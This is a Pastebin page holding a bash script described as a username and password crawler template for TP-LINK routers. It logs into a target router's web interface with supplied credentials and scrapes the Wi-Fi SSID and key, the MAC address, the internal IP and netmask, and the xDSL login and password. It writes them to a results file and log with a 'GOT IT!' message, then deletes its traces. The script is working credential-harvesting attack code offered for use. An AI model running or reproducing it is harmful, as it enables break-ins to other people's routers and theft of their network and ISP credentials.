Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Routers, modems username and password crawler [Template] for TP-LINK routers
- wget -q -t 1 -T 5 -O home_wlan.htm http://$1/basic/home_wlan.htm --user=$3 --password=$4
- wget -q -t 1 -T 5 -O home_wan.htm http://$1/basic/home_wan.htm --user=$3 --password=$4
- wget -q -t 1 -T 5 -O status_deviceinfo.htm http://$1/status/status_deviceinfo.htm --user=$3 --password=$4
- mac=`cat status_deviceinfo.htm | grep "MAC Address" -A 1 | tail -1 | awk -F"<" '{ print $1 }'`
- if [[ -f home_wlan.htm ]]; then wlan_ssid=`cat home_wlan.htm | grep "NAME=\"ESSID\"" -m 1 | awk -F"\"" '{ print $10 }'`; fi
- if [[ -f home_wlan.htm ]]; then wlan_pass=`cat home_wlan.htm | grep \"PreSharedKey\" | awk -F"\"" '{ print $10 }'`; fi
- internal_ip=`cat status_deviceinfo.htm | grep "IP Address" -A 1 -m 1 | tail -1 | awk -F"<" '{ print $1 }'`
- internal_netmask=`cat status_deviceinfo.htm | grep "Subnet Mask" -A1 -m 1 | tail -1 | awk -F"<" '{ print $1 }'`
- dsl_username=`cat home_wan.htm | grep "wan_PPPUsername" | awk -F"\"" '{ print $10 }'`
- dsl_password=`cat home_wan.htm | grep "wan_PPPPassword" | awk -F"\"" '{ print $10 }'`
- mac=`echo $mac | tr -d ' '`
- wlan_ssid=`echo $wlan_ssid | tr -d ' '`
- wlan_pass=`echo $wlan_pass | tr -d ' '`
- internal_ip=`echo $internal_ip | tr -d ' '`
- internal_netmask=`echo $internal_netmask | tr -d ' '`
- dsl_username=`echo $dsl_username | tr -d ' '`
- dsl_password=`echo $dsl_password | tr -d ' '`
- if [[ "$wlan_ssid" == "" && "$wlan_pass" == "" && "$dsl_username" == "" && "$dsl_password" == "" ]]; then exit; fi
- echo "================================================" >> $2
- echo "Target external IP: $1" >> $2
- echo "Device type: $0" >> $2
- echo "Device MAC address: $mac" >> $2
- if [[ -f home_wlan.htm ]]; then echo "Wireless SSID: $wlan_ssid" >> $2; fi
- if [[ -f home_wlan.htm ]]; then echo "Wireless password: $wlan_pass" >> $2; fi
- echo "Internal IP: $internal_ip" >> $2
- echo "Internal netmask: $internal_netmask" >> $2
- echo "xDSL username: $dsl_username" >> $2
- echo "xDSL password: $dsl_password" >> $2
- echo "================================================" >> $2
- echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password. Saving..."
- echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password." >> smalllog.txt
- if [[ -f home_wlan.htm ]]; then rm home_wlan.htm; fi
- rm home_wan.htm
- rm status_deviceinfo.htm
Advertisement
Add Comment
Please, Sign In to add comment